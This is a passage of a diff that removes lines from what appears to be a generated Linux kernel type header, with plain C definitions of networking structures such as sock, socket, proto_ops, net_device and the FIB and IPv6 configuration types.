- }; - bool msg_control_is_user: 1; - bool msg_get_inq: 1; - unsigned int msg_flags; - __kernel_size_t msg_controllen; - struct kiocb *msg_iocb; - struct ubuf_info *msg_ubuf; - int (*sg_from_iter)(struct sock *, struct sk_buff *, struct iov_iter *, size_t); -}; - -struct ubuf_info { - void (*callback)(struct sk_buff *, struct ubuf_info *, bool); - refcount_t refcnt; - u8 flags; -}; - -typedef __u64 __addrpair; - -typedef __u32 __portpair; - -struct hlist_nulls_node { - struct hlist_nulls_node *next; - struct hlist_nulls_node **pprev; -}; - -struct proto; - -struct sock_common { - union { - __addrpair skc_addrpair; - struct { - __be32 skc_daddr; - __be32 skc_rcv_saddr; - }; - }; - union { - unsigned int skc_hash; - __u16 skc_u16hashes[2]; - }; - union { - __portpair skc_portpair; - struct { - __be16 skc_dport; - __u16 skc_num; - }; - }; - short unsigned int skc_family; - volatile unsigned char skc_state; - unsigned char skc_reuse: 4; - unsigned char skc_reuseport: 1; - unsigned char skc_ipv6only: 1; - unsigned char skc_net_refcnt: 1; - int skc_bound_dev_if; - union { - struct hlist_node skc_bind_node; - struct hlist_node skc_portaddr_node; - }; - struct proto *skc_prot; - possible_net_t skc_net; - struct in6_addr skc_v6_daddr; - struct in6_addr skc_v6_rcv_saddr; - atomic64_t skc_cookie; - union { - long unsigned int skc_flags; - struct sock *skc_listener; - struct inet_timewait_death_row *skc_tw_dr; - }; - int skc_dontcopy_begin[0]; - union { - struct hlist_node skc_node; - struct hlist_nulls_node skc_nulls_node; - }; - short unsigned int skc_tx_queue_mapping; - short unsigned int skc_rx_queue_mapping; - union { - int skc_incoming_cpu; - u32 skc_rcv_wnd; - u32 skc_tw_rcv_nxt; - }; - refcount_t skc_refcnt; - int skc_dontcopy_end[0]; - union { - u32 skc_rxhash; - u32 skc_window_clamp; - u32 skc_tw_snd_nxt; - }; -}; - -typedef struct { - spinlock_t slock; - int owned; - wait_queue_head_t wq; - struct lockdep_map dep_map; -} socket_lock_t; - -struct sk_buff_list { - struct sk_buff *next; - struct sk_buff *prev; -}; - -struct sk_buff_head { - union { - struct { - struct sk_buff *next; - struct sk_buff *prev; - }; - struct sk_buff_list list; - }; - __u32 qlen; - spinlock_t lock; -}; - -typedef u64 netdev_features_t; - -struct sock_cgroup_data { - struct cgroup *cgroup; - u32 classid; -}; - -typedef struct {} netns_tracker; - -struct sk_filter; - -struct socket_wq; - -struct xfrm_policy; - -struct sock_reuseport; - -struct sock { - struct sock_common __sk_common; - struct dst_entry *sk_rx_dst; - int sk_rx_dst_ifindex; - u32 sk_rx_dst_cookie; - socket_lock_t sk_lock; - atomic_t sk_drops; - int sk_rcvlowat; - struct sk_buff_head sk_error_queue; - struct sk_buff_head sk_receive_queue; - struct { - atomic_t rmem_alloc; - int len; - struct sk_buff *head; - struct sk_buff *tail; - } sk_backlog; - int sk_forward_alloc; - u32 sk_reserved_mem; - unsigned int sk_ll_usec; - unsigned int sk_napi_id; - int sk_rcvbuf; - struct sk_filter *sk_filter; - union { - struct socket_wq *sk_wq; - struct socket_wq *sk_wq_raw; - }; - struct xfrm_policy *sk_policy[2]; - struct dst_entry *sk_dst_cache; - atomic_t sk_omem_alloc; - int sk_sndbuf; - int sk_wmem_queued; - refcount_t sk_wmem_alloc; - long unsigned int sk_tsq_flags; - union { - struct sk_buff *sk_send_head; - struct rb_root tcp_rtx_queue; - }; - struct sk_buff_head sk_write_queue; - __s32 sk_peek_off; - int sk_write_pending; - __u32 sk_dst_pending_confirm; - u32 sk_pacing_status; - long int sk_sndtimeo; - struct timer_list sk_timer; - __u32 sk_priority; - __u32 sk_mark; - long unsigned int sk_pacing_rate; - long unsigned int sk_max_pacing_rate; - struct page_frag sk_frag; - netdev_features_t sk_route_caps; - int sk_gso_type; - unsigned int sk_gso_max_size; - gfp_t sk_allocation; - __u32 sk_txhash; - u8 sk_gso_disabled: 1; - u8 sk_kern_sock: 1; - u8 sk_no_check_tx: 1; - u8 sk_no_check_rx: 1; - u8 sk_userlocks: 4; - u8 sk_pacing_shift; - u16 sk_type; - u16 sk_protocol; - u16 sk_gso_max_segs; - long unsigned int sk_lingertime; - struct proto *sk_prot_creator; - rwlock_t sk_callback_lock; - int sk_err; - int sk_err_soft; - u32 sk_ack_backlog; - u32 sk_max_ack_backlog; - kuid_t sk_uid; - u8 sk_txrehash; - u8 sk_prefer_busy_poll; - u16 sk_busy_poll_budget; - spinlock_t sk_peer_lock; - int sk_bind_phc; - struct pid *sk_peer_pid; - const struct cred *sk_peer_cred; - long int sk_rcvtimeo; - ktime_t sk_stamp; - atomic_t sk_tskey; - atomic_t sk_zckey; - u32 sk_tsflags; - u8 sk_shutdown; - u8 sk_clockid; - u8 sk_txtime_deadline_mode: 1; - u8 sk_txtime_report_errors: 1; - u8 sk_txtime_unused: 6; - struct socket *sk_socket; - void *sk_user_data; - void *sk_security; - struct sock_cgroup_data sk_cgrp_data; - struct mem_cgroup *sk_memcg; - void (*sk_state_change)(struct sock *); - void (*sk_data_ready)(struct sock *); - void (*sk_write_space)(struct sock *); - void (*sk_error_report)(struct sock *); - int (*sk_backlog_rcv)(struct sock *, struct sk_buff *); - void (*sk_destruct)(struct sock *); - struct sock_reuseport *sk_reuseport_cb; - struct bpf_local_storage *sk_bpf_storage; - struct callback_head sk_rcu; - netns_tracker ns_tracker; - struct hlist_node sk_bind2_node; -}; - -typedef struct { - union { - void *kernel; - void *user; - }; - bool is_kernel: 1; -} sockptr_t; - -typedef enum { - SS_FREE = 0, - SS_UNCONNECTED = 1, - SS_CONNECTING = 2, - SS_CONNECTED = 3, - SS_DISCONNECTING = 4, -} socket_state; - -struct socket_wq { - wait_queue_head_t wait; - struct fasync_struct *fasync_list; - long unsigned int flags; - struct callback_head rcu; - long: 64; - long: 64; -}; - -struct proto_ops; - -struct socket { - socket_state state; - short int type; - long unsigned int flags; - struct file *file; - struct sock *sk; - const struct proto_ops *ops; - long: 64; - long: 64; - long: 64; - struct socket_wq wq; -}; - -typedef struct { - size_t written; - size_t count; - union { - char *buf; - void *data; - } arg; - int error; -} read_descriptor_t; - -typedef int (*sk_read_actor_t)(read_descriptor_t *, struct sk_buff *, unsigned int, size_t); - -typedef int (*skb_read_actor_t)(struct sock *, struct sk_buff *); - -struct proto_ops { - int family; - struct module *owner; - int (*release)(struct socket *); - int (*bind)(struct socket *, struct sockaddr *, int); - int (*connect)(struct socket *, struct sockaddr *, int, int); - int (*socketpair)(struct socket *, struct socket *); - int (*accept)(struct socket *, struct socket *, int, bool); - int (*getname)(struct socket *, struct sockaddr *, int); - __poll_t (*poll)(struct file *, struct socket *, struct poll_table_struct *); - int (*ioctl)(struct socket *, unsigned int, long unsigned int); - int (*gettstamp)(struct socket *, void *, bool, bool); - int (*listen)(struct socket *, int); - int (*shutdown)(struct socket *, int); - int (*setsockopt)(struct socket *, int, int, sockptr_t, unsigned int); - int (*getsockopt)(struct socket *, int, int, char *, int *); - void (*show_fdinfo)(struct seq_file *, struct socket *); - int (*sendmsg)(struct socket *, struct msghdr *, size_t); - int (*recvmsg)(struct socket *, struct msghdr *, size_t, int); - int (*mmap)(struct file *, struct socket *, struct vm_area_struct *); - ssize_t (*sendpage)(struct socket *, struct page *, int, size_t, int); - ssize_t (*splice_read)(struct socket *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); - int (*set_peek_off)(struct sock *, int); - int (*peek_len)(struct socket *); - int (*read_sock)(struct sock *, read_descriptor_t *, sk_read_actor_t); - int (*read_skb)(struct sock *, skb_read_actor_t); - int (*sendpage_locked)(struct sock *, struct page *, int, size_t, int); - int (*sendmsg_locked)(struct sock *, struct msghdr *, size_t); - int (*set_rcvlowat)(struct sock *, int); -}; - -enum { - NETIF_F_SG_BIT = 0, - NETIF_F_IP_CSUM_BIT = 1, - __UNUSED_NETIF_F_1 = 2, - NETIF_F_HW_CSUM_BIT = 3, - NETIF_F_IPV6_CSUM_BIT = 4, - NETIF_F_HIGHDMA_BIT = 5, - NETIF_F_FRAGLIST_BIT = 6, - NETIF_F_HW_VLAN_CTAG_TX_BIT = 7, - NETIF_F_HW_VLAN_CTAG_RX_BIT = 8, - NETIF_F_HW_VLAN_CTAG_FILTER_BIT = 9, - NETIF_F_VLAN_CHALLENGED_BIT = 10, - NETIF_F_GSO_BIT = 11, - NETIF_F_LLTX_BIT = 12, - NETIF_F_NETNS_LOCAL_BIT = 13, - NETIF_F_GRO_BIT = 14, - NETIF_F_LRO_BIT = 15, - NETIF_F_GSO_SHIFT = 16, - NETIF_F_TSO_BIT = 16, - NETIF_F_GSO_ROBUST_BIT = 17, - NETIF_F_TSO_ECN_BIT = 18, - NETIF_F_TSO_MANGLEID_BIT = 19, - NETIF_F_TSO6_BIT = 20, - NETIF_F_FSO_BIT = 21, - NETIF_F_GSO_GRE_BIT = 22, - NETIF_F_GSO_GRE_CSUM_BIT = 23, - NETIF_F_GSO_IPXIP4_BIT = 24, - NETIF_F_GSO_IPXIP6_BIT = 25, - NETIF_F_GSO_UDP_TUNNEL_BIT = 26, - NETIF_F_GSO_UDP_TUNNEL_CSUM_BIT = 27, - NETIF_F_GSO_PARTIAL_BIT = 28, - NETIF_F_GSO_TUNNEL_REMCSUM_BIT = 29, - NETIF_F_GSO_SCTP_BIT = 30, - NETIF_F_GSO_ESP_BIT = 31, - NETIF_F_GSO_UDP_BIT = 32, - NETIF_F_GSO_UDP_L4_BIT = 33, - NETIF_F_GSO_FRAGLIST_BIT = 34, - NETIF_F_GSO_LAST = 34, - NETIF_F_FCOE_CRC_BIT = 35, - NETIF_F_SCTP_CRC_BIT = 36, - NETIF_F_FCOE_MTU_BIT = 37, - NETIF_F_NTUPLE_BIT = 38, - NETIF_F_RXHASH_BIT = 39, - NETIF_F_RXCSUM_BIT = 40, - NETIF_F_NOCACHE_COPY_BIT = 41, - NETIF_F_LOOPBACK_BIT = 42, - NETIF_F_RXFCS_BIT = 43, - NETIF_F_RXALL_BIT = 44, - NETIF_F_HW_VLAN_STAG_TX_BIT = 45, - NETIF_F_HW_VLAN_STAG_RX_BIT = 46, - NETIF_F_HW_VLAN_STAG_FILTER_BIT = 47, - NETIF_F_HW_L2FW_DOFFLOAD_BIT = 48, - NETIF_F_HW_TC_BIT = 49, - NETIF_F_HW_ESP_BIT = 50, - NETIF_F_HW_ESP_TX_CSUM_BIT = 51, - NETIF_F_RX_UDP_TUNNEL_PORT_BIT = 52, - NETIF_F_HW_TLS_TX_BIT = 53, - NETIF_F_HW_TLS_RX_BIT = 54, - NETIF_F_GRO_HW_BIT = 55, - NETIF_F_HW_TLS_RECORD_BIT = 56, - NETIF_F_GRO_FRAGLIST_BIT = 57, - NETIF_F_HW_MACSEC_BIT = 58, - NETIF_F_GRO_UDP_FWD_BIT = 59, - NETIF_F_HW_HSR_TAG_INS_BIT = 60, - NETIF_F_HW_HSR_TAG_RM_BIT = 61, - NETIF_F_HW_HSR_FWD_BIT = 62, - NETIF_F_HW_HSR_DUP_BIT = 63, - NETDEV_FEATURE_COUNT = 64, -}; - -struct ethhdr { - unsigned char h_dest[6]; - unsigned char h_source[6]; - __be16 h_proto; -}; - -struct flowi_tunnel { - __be64 tun_id; -}; - -struct flowi_common { - int flowic_oif; - int flowic_iif; - int flowic_l3mdev; - __u32 flowic_mark; - __u8 flowic_tos; - __u8 flowic_scope; - __u8 flowic_proto; - __u8 flowic_flags; - __u32 flowic_secid; - kuid_t flowic_uid; - struct flowi_tunnel flowic_tun_key; - __u32 flowic_multipath_hash; -}; - -union flowi_uli { - struct { - __be16 dport; - __be16 sport; - } ports; - struct { - __u8 type; - __u8 code; - } icmpt; - __be32 gre_key; - struct { - __u8 type; - } mht; -}; - -struct flowi4 { - struct flowi_common __fl_common; - __be32 saddr; - __be32 daddr; - union flowi_uli uli; -}; - -struct flowi6 { - struct flowi_common __fl_common; - struct in6_addr daddr; - struct in6_addr saddr; - __be32 flowlabel; - union flowi_uli uli; - __u32 mp_hash; -}; - -struct flowi { - union { - struct flowi_common __fl_common; - struct flowi4 ip4; - struct flowi6 ip6; - } u; -}; - -struct skb_shared_hwtstamps { - union { - ktime_t hwtstamp; - void *netdev_data; - }; -}; - -struct net_device_stats { - union { - long unsigned int rx_packets; - atomic_long_t __rx_packets; - }; - union { - long unsigned int tx_packets; - atomic_long_t __tx_packets; - }; - union { - long unsigned int rx_bytes; - atomic_long_t __rx_bytes; - }; - union { - long unsigned int tx_bytes; - atomic_long_t __tx_bytes; - }; - union { - long unsigned int rx_errors; - atomic_long_t __rx_errors; - }; - union { - long unsigned int tx_errors; - atomic_long_t __tx_errors; - }; - union { - long unsigned int rx_dropped; - atomic_long_t __rx_dropped; - }; - union { - long unsigned int tx_dropped; - atomic_long_t __tx_dropped; - }; - union { - long unsigned int multicast; - atomic_long_t __multicast; - }; - union { - long unsigned int collisions; - atomic_long_t __collisions; - }; - union { - long unsigned int rx_length_errors; - atomic_long_t __rx_length_errors; - }; - union { - long unsigned int rx_over_errors; - atomic_long_t __rx_over_errors; - }; - union { - long unsigned int rx_crc_errors; - atomic_long_t __rx_crc_errors; - }; - union { - long unsigned int rx_frame_errors; - atomic_long_t __rx_frame_errors; - }; - union { - long unsigned int rx_fifo_errors; - atomic_long_t __rx_fifo_errors; - }; - union { - long unsigned int rx_missed_errors; - atomic_long_t __rx_missed_errors; - }; - union { - long unsigned int tx_aborted_errors; - atomic_long_t __tx_aborted_errors; - }; - union { - long unsigned int tx_carrier_errors; - atomic_long_t __tx_carrier_errors; - }; - union { - long unsigned int tx_fifo_errors; - atomic_long_t __tx_fifo_errors; - }; - union { - long unsigned int tx_heartbeat_errors; - atomic_long_t __tx_heartbeat_errors; - }; - union { - long unsigned int tx_window_errors; - atomic_long_t __tx_window_errors; - }; - union { - long unsigned int rx_compressed; - atomic_long_t __rx_compressed; - }; - union { - long unsigned int tx_compressed; - atomic_long_t __tx_compressed; - }; -}; - -struct netdev_hw_addr_list { - struct list_head list; - int count; - struct rb_root tree; -}; - -enum rx_handler_result { - RX_HANDLER_CONSUMED = 0, - RX_HANDLER_ANOTHER = 1, - RX_HANDLER_EXACT = 2, - RX_HANDLER_PASS = 3, -}; - -typedef enum rx_handler_result rx_handler_result_t; - -typedef rx_handler_result_t rx_handler_func_t(struct sk_buff **); - -enum netdev_ml_priv_type { - ML_PRIV_NONE = 0, - ML_PRIV_CAN = 1, -}; - -struct netdev_tc_txq { - u16 count; - u16 offset; -}; - -struct sfp_bus; - -struct bpf_xdp_link; - -struct bpf_xdp_entity { - struct bpf_prog *prog; - struct bpf_xdp_link *link; -}; - -struct netdev_name_node; - -struct dev_ifalias; - -struct net_device_ops; - -struct net_device_core_stats; - -struct ethtool_ops; - -struct l3mdev_ops; - -struct ndisc_ops; - -struct header_ops; - -struct in_device; - -struct inet6_dev; - -struct vlan_info; - -struct mpls_dev; - -struct netdev_rx_queue; - -struct mini_Qdisc; - -struct netdev_queue; - -struct cpu_rmap; - -struct Qdisc; - -struct xdp_dev_bulk_queue; - -struct xps_dev_maps; - -struct pcpu_lstats; - -struct pcpu_sw_netstats; - -struct pcpu_dstats; - -struct rtnl_link_ops; - -struct dcbnl_rtnl_ops; - -struct phy_device; - -struct udp_tunnel_nic_info; - -struct udp_tunnel_nic; - -struct rtnl_hw_stats64; - -struct devlink_port; - -struct net_device { - char name[16]; - struct netdev_name_node *name_node; - struct dev_ifalias *ifalias; - long unsigned int mem_end; - long unsigned int mem_start; - long unsigned int base_addr; - long unsigned int state; - struct list_head dev_list; - struct list_head napi_list; - struct list_head unreg_list; - struct list_head close_list; - struct list_head ptype_all; - struct list_head ptype_specific; - struct { - struct list_head upper; - struct list_head lower; - } adj_list; - unsigned int flags; - long long unsigned int priv_flags; - const struct net_device_ops *netdev_ops; - int ifindex; - short unsigned int gflags; - short unsigned int hard_header_len; - unsigned int mtu; - short unsigned int needed_headroom; - short unsigned int needed_tailroom; - netdev_features_t features; - netdev_features_t hw_features; - netdev_features_t wanted_features; - netdev_features_t vlan_features; - netdev_features_t hw_enc_features; - netdev_features_t mpls_features; - netdev_features_t gso_partial_features; - unsigned int min_mtu; - unsigned int max_mtu; - short unsigned int type; - unsigned char min_header_len; - unsigned char name_assign_type; - int group; - struct net_device_stats stats; - struct net_device_core_stats *core_stats; - atomic_t carrier_up_count; - atomic_t carrier_down_count; - const struct ethtool_ops *ethtool_ops; - const struct l3mdev_ops *l3mdev_ops; - const struct ndisc_ops *ndisc_ops; - const struct header_ops *header_ops; - unsigned char operstate; - unsigned char link_mode; - unsigned char if_port; - unsigned char dma; - unsigned char perm_addr[32]; - unsigned char addr_assign_type; - unsigned char addr_len; - unsigned char upper_level; - unsigned char lower_level; - short unsigned int neigh_priv_len; - short unsigned int dev_id; - short unsigned int dev_port; - short unsigned int padded; - spinlock_t addr_list_lock; - int irq; - struct netdev_hw_addr_list uc; - struct netdev_hw_addr_list mc; - struct netdev_hw_addr_list dev_addrs; - struct kset *queues_kset; - struct list_head unlink_list; - unsigned int promiscuity; - unsigned int allmulti; - bool uc_promisc; - unsigned char nested_level; - struct in_device *ip_ptr; - struct inet6_dev *ip6_ptr; - struct vlan_info *vlan_info; - struct mpls_dev *mpls_ptr; - const unsigned char *dev_addr; - struct netdev_rx_queue *_rx; - unsigned int num_rx_queues; - unsigned int real_num_rx_queues; - struct bpf_prog *xdp_prog; - long unsigned int gro_flush_timeout; - int napi_defer_hard_irqs; - unsigned int gro_max_size; - rx_handler_func_t *rx_handler; - void *rx_handler_data; - struct mini_Qdisc *miniq_ingress; - struct netdev_queue *ingress_queue; - struct nf_hook_entries *nf_hooks_ingress; - unsigned char broadcast[32]; - struct cpu_rmap *rx_cpu_rmap; - struct hlist_node index_hlist; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct netdev_queue *_tx; - unsigned int num_tx_queues; - unsigned int real_num_tx_queues; - struct Qdisc *qdisc; - unsigned int tx_queue_len; - spinlock_t tx_global_lock; - struct xdp_dev_bulk_queue *xdp_bulkq; - struct xps_dev_maps *xps_maps[2]; - struct mini_Qdisc *miniq_egress; - struct nf_hook_entries *nf_hooks_egress; - struct hlist_head qdisc_hash[16]; - struct timer_list watchdog_timer; - int watchdog_timeo; - u32 proto_down_reason; - struct list_head todo_list; - int *pcpu_refcnt; - struct ref_tracker_dir refcnt_tracker; - struct list_head link_watch_list; - enum { - NETREG_UNINITIALIZED = 0, - NETREG_REGISTERED = 1, - NETREG_UNREGISTERING = 2, - NETREG_UNREGISTERED = 3, - NETREG_RELEASED = 4, - NETREG_DUMMY = 5, - } reg_state: 8; - bool dismantle; - enum { - RTNL_LINK_INITIALIZED = 0, - RTNL_LINK_INITIALIZING = 1, - } rtnl_link_state: 16; - bool needs_free_netdev; - void (*priv_destructor)(struct net_device *); - possible_net_t nd_net; - void *ml_priv; - enum netdev_ml_priv_type ml_priv_type; - union { - struct pcpu_lstats *lstats; - struct pcpu_sw_netstats *tstats; - struct pcpu_dstats *dstats; - }; - struct device dev; - const struct attribute_group *sysfs_groups[4]; - const struct attribute_group *sysfs_rx_queue_group; - const struct rtnl_link_ops *rtnl_link_ops; - unsigned int gso_max_size; - unsigned int tso_max_size; - u16 gso_max_segs; - u16 tso_max_segs; - const struct dcbnl_rtnl_ops *dcbnl_ops; - s16 num_tc; - struct netdev_tc_txq tc_to_txq[16]; - u8 prio_tc_map[16]; - struct phy_device *phydev; - struct sfp_bus *sfp_bus; - struct lock_class_key *qdisc_tx_busylock; - bool proto_down; - unsigned int wol_enabled: 1; - unsigned int threaded: 1; - struct list_head net_notifier_list; - const struct udp_tunnel_nic_info *udp_tunnel_nic_info; - struct udp_tunnel_nic *udp_tunnel_nic; - struct bpf_xdp_entity xdp_state[3]; - u8 dev_addr_shadow[32]; - netdevice_tracker linkwatch_dev_tracker; - netdevice_tracker watchdog_dev_tracker; - netdevice_tracker dev_registered_tracker; - struct rtnl_hw_stats64 *offload_xstats_l3; - struct devlink_port *devlink_port; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct dql { - unsigned int num_queued; - unsigned int adj_limit; - unsigned int last_obj_cnt; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - unsigned int limit; - unsigned int num_completed; - unsigned int prev_ovlimit; - unsigned int prev_num_queued; - unsigned int prev_last_obj_cnt; - unsigned int lowest_slack; - long unsigned int slack_start_time; - unsigned int max_limit; - unsigned int min_limit; - unsigned int slack_hold_time; - long: 64; - long: 64; -}; - -struct prot_inuse { - int all; - int val[64]; -}; - -typedef struct { - local64_t v; -} u64_stats_t; - -struct icmpv6_mib_device { - atomic_long_t mibs[6]; -}; - -struct icmpv6msg_mib_device { - atomic_long_t mibs[512]; -}; - -struct udp_hslot; - -struct udp_table { - struct udp_hslot *hash; - struct udp_hslot *hash2; - unsigned int mask; - unsigned int log; -}; - -struct ip_ra_chain { - struct ip_ra_chain *next; - struct sock *sk; - union { - void (*destructor)(struct sock *); - struct sock *saved_sk; - }; - struct callback_head rcu; -}; - -struct fib_rule; - -struct fib_lookup_arg; - -struct fib_rule_hdr; - -struct fib_rules_ops { - int family; - struct list_head list; - int rule_size; - int addr_size; - int unresolved_rules; - int nr_goto_rules; - unsigned int fib_rules_seq; - int (*action)(struct fib_rule *, struct flowi *, int, struct fib_lookup_arg *); - bool (*suppress)(struct fib_rule *, int, struct fib_lookup_arg *); - int (*match)(struct fib_rule *, struct flowi *, int); - int (*configure)(struct fib_rule *, struct sk_buff *, struct fib_rule_hdr *, struct nlattr **, struct netlink_ext_ack *); - int (*delete)(struct fib_rule *); - int (*compare)(struct fib_rule *, struct fib_rule_hdr *, struct nlattr **); - int (*fill)(struct fib_rule *, struct sk_buff *, struct fib_rule_hdr *); - size_t (*nlmsg_payload)(struct fib_rule *); - void (*flush_cache)(struct fib_rules_ops *); - int nlgroup; - struct list_head rules_list; - struct module *owner; - struct net *fro_net; - struct callback_head rcu; -}; - -struct fib_table { - struct hlist_node tb_hlist; - u32 tb_id; - int tb_num_default; - struct callback_head rcu; - long unsigned int *tb_data; - long unsigned int __data[0]; -}; - -struct inet_peer_base { - struct rb_root rb_root; - seqlock_t lock; - int total; -}; - -struct fib_notifier_ops { - int family; - struct list_head list; - unsigned int (*fib_seq_read)(struct net *); - int (*fib_dump)(struct net *, struct notifier_block *, struct netlink_ext_ack *); - struct module *owner; - struct callback_head rcu; -}; - -struct hh_cache { - unsigned int hh_len; - seqlock_t hh_lock; - long unsigned int hh_data[12]; -}; - -struct neigh_table; - -struct neigh_parms; - -struct neigh_ops; - -struct neighbour { - struct neighbour *next; - struct neigh_table *tbl; - struct neigh_parms *parms; - long unsigned int confirmed; - long unsigned int updated; - rwlock_t lock; - refcount_t refcnt; - unsigned int arp_queue_len_bytes; - struct sk_buff_head arp_queue; - struct timer_list timer; - long unsigned int used; - atomic_t probes; - u8 nud_state; - u8 type; - u8 dead; - u8 protocol; - u32 flags; - seqlock_t ha_lock; - unsigned char ha[32]; - struct hh_cache hh; - int (*output)(struct neighbour *, struct sk_buff *); - const struct neigh_ops *ops; - struct list_head gc_list; - struct list_head managed_list; - struct callback_head rcu; - struct net_device *dev; - netdevice_tracker dev_tracker; - u8 primary_key[0]; -}; - -struct ipv6_stable_secret { - bool initialized; - struct in6_addr secret; -}; - -struct ipv6_devconf { - __s32 forwarding; - __s32 hop_limit; - __s32 mtu6; - __s32 accept_ra; - __s32 accept_redirects; - __s32 autoconf; - __s32 dad_transmits; - __s32 rtr_solicits; - __s32 rtr_solicit_interval; - __s32 rtr_solicit_max_interval; - __s32 rtr_solicit_delay; - __s32 force_mld_version; - __s32 mldv1_unsolicited_report_interval; - __s32 mldv2_unsolicited_report_interval; - __s32 use_tempaddr; - __s32 temp_valid_lft; - __s32 temp_prefered_lft; - __s32 regen_max_retry; - __s32 max_desync_factor; - __s32 max_addresses; - __s32 accept_ra_defrtr; - __u32 ra_defrtr_metric; - __s32 accept_ra_min_hop_limit; - __s32 accept_ra_pinfo; - __s32 ignore_routes_with_linkdown; - __s32 accept_ra_rtr_pref; - __s32 rtr_probe_interval; - __s32 accept_ra_rt_info_min_plen; - __s32 accept_ra_rt_info_max_plen; - __s32 proxy_ndp; - __s32 accept_source_route; - __s32 accept_ra_from_local; - __s32 disable_ipv6; - __s32 drop_unicast_in_l2_multicast; - __s32 accept_dad; - __s32 force_tllao; - __s32 ndisc_notify; - __s32 suppress_frag_ndisc; - __s32 accept_ra_mtu; - __s32 drop_unsolicited_na; - __s32 accept_untracked_na; - struct ipv6_stable_secret stable_secret; - __s32 use_oif_addrs_only; - __s32 keep_addr_on_down; - __s32 seg6_enabled; - __u32 enhanced_dad; - __u32 addr_gen_mode; - __s32 disable_policy; - __s32 ndisc_tclass; - __s32 rpl_seg_enabled; - __u32 ioam6_id; - __u32 ioam6_id_wide; - __u8 ioam6_enabled; - __u8 ndisc_evict_nocarrier; - struct ctl_table_header *sysctl_header; -}; - -struct rt6key { - struct in6_addr addr; - int plen; -}; - -struct rtable; - -struct fnhe_hash_bucket; - -struct fib_nh_common { - struct net_device *nhc_dev; - netdevice_tracker nhc_dev_tracker; - int nhc_oif; - unsigned char nhc_scope; - u8 nhc_family; - u8 nhc_gw_family; - unsigned char nhc_flags; - struct lwtunnel_state *nhc_lwtstate; - union { - __be32 ipv4; - struct in6_addr ipv6; - } nhc_gw; - int nhc_weight; - atomic_t nhc_upper_bound; - struct rtable **nhc_pcpu_rth_output; - struct rtable *nhc_rth_input; - struct fnhe_hash_bucket *nhc_exceptions; -}; - -struct rt6_exception_bucket; - -struct fib6_nh { - struct fib_nh_common nh_common; - long unsigned int last_probe; - struct rt6_info **rt6i_pcpu; - struct rt6_exception_bucket *rt6i_exception_bucket; -}; - -struct fib6_node; - -struct dst_metrics; - -struct nexthop; - -struct fib6_info { - struct fib6_table *fib6_table; - struct fib6_info *fib6_next; - struct fib6_node *fib6_node; - union { - struct list_head fib6_siblings; - struct list_head nh_list; - }; - unsigned int fib6_nsiblings; - refcount_t fib6_ref; - long unsigned int expires; - struct dst_metrics *fib6_metrics; - struct rt6key fib6_dst; - u32 fib6_flags; - struct rt6key fib6_src; - struct rt6key fib6_prefsrc; - u32 fib6_metric; - u8 fib6_protocol; - u8 fib6_type; - u8 offload; - u8 trap; - u8 offload_failed; - u8 should_flush: 1; - u8 dst_nocount: 1; - u8 dst_nopolicy: 1; - u8 fib6_destroying: 1; - u8 unused: 4; - struct callback_head rcu; - struct nexthop *nh; - struct fib6_nh fib6_nh[0]; -}; - -struct uncached_list; - -struct rt6_info { - struct dst_entry dst; - struct fib6_info *from; - int sernum; - struct rt6key rt6i_dst; - struct rt6key rt6i_src; - struct in6_addr rt6i_gateway; - struct inet6_dev *rt6i_idev; - u32 rt6i_flags; - struct list_head rt6i_uncached; - struct uncached_list *rt6i_uncached_list; - short unsigned int rt6i_nfheader_len; -}; - -struct rt6_statistics { - __u32 fib_nodes; - __u32 fib_route_nodes; - __u32 fib_rt_entries; - __u32 fib_rt_cache; - __u32 fib_discarded_routes; - atomic_t fib_rt_alloc; -}; - -struct fib6_node { - struct fib6_node *parent; - struct fib6_node *left; - struct fib6_node *right; - struct fib6_node *subtree; - struct fib6_info *leaf; - __u16 fn_bit; - __u16 fn_flags; - int fn_sernum; - struct fib6_info *rr_ptr; - struct callback_head rcu; -}; - -struct fib6_table { - struct hlist_node tb6_hlist; - u32 tb6_id; - spinlock_t tb6_lock; - struct fib6_node tb6_root; - struct inet_peer_base tb6_peers; - unsigned int flags; - unsigned int fib_seq; -}; - -struct net_generic { - union { - struct { - unsigned int len; - struct callback_head rcu; - } s; - struct { - struct {} __empty_ptr; - void *ptr[0]; - }; - }; -}; - -struct ieee_ets { - __u8 willing; - __u8 ets_cap; - __u8 cbs; - __u8 tc_tx_bw[8]; - __u8 tc_rx_bw[8]; - __u8 tc_tsa[8]; - __u8 prio_tc[8]; - __u8 tc_reco_bw[8]; - __u8 tc_reco_tsa[8]; - __u8 reco_prio_tc[8]; -}; - -struct ieee_maxrate { - __u64 tc_maxrate[8]; -}; - -struct ieee_qcn { - __u8 rpg_enable[8]; - __u32 rppp_max_rps[8]; - __u32 rpg_time_reset[8]; - __u32 rpg_byte_reset[8]; - __u32 rpg_threshold[8]; - __u32 rpg_max_rate[8]; - __u32 rpg_ai_rate[8]; - __u32 rpg_hai_rate[8]; - __u32 rpg_gd[8]; - __u32 rpg_min_dec_fac[8]; - __u32 rpg_min_rate[8]; - __u32 cndd_state_machine[8]; -}; - -struct ieee_qcn_stats { - __u64 rppp_rp_centiseconds[8]; - __u32 rppp_created_rps[8]; -}; - -struct ieee_pfc { - __u8 pfc_cap; - __u8 pfc_en; - __u8 mbc; - __u16 delay; - __u64 requests[8]; - __u64 indications[8]; -}; - -struct dcbnl_buffer { - __u8 prio2buffer[8]; - __u32 buffer_size[8]; - __u32 total_size; -}; - -struct cee_pg { - __u8 willing; - __u8 error; - __u8 pg_en; - __u8 tcs_supported; - __u8 pg_bw[8]; - __u8 prio_pg[8]; -}; - -struct cee_pfc { - __u8 willing; - __u8 error; - __u8 pfc_en; - __u8 tcs_supported; -}; - -struct dcb_app { - __u8 selector; - __u8 priority; - __u16 protocol; -}; - -struct dcb_peer_app_info { - __u8 willing; - __u8 error; -}; - -struct dcbnl_rtnl_ops { - int (*ieee_getets)(struct net_device *, struct ieee_ets *); - int (*ieee_setets)(struct net_device *, struct ieee_ets *); - int (*ieee_getmaxrate)(struct net_device *, struct ieee_maxrate *); - int (*ieee_setmaxrate)(struct net_device *, struct ieee_maxrate *); - int (*ieee_getqcn)(struct net_device *, struct ieee_qcn *); - int (*ieee_setqcn)(struct net_device *, struct ieee_qcn *); - int (*ieee_getqcnstats)(struct net_device *, struct 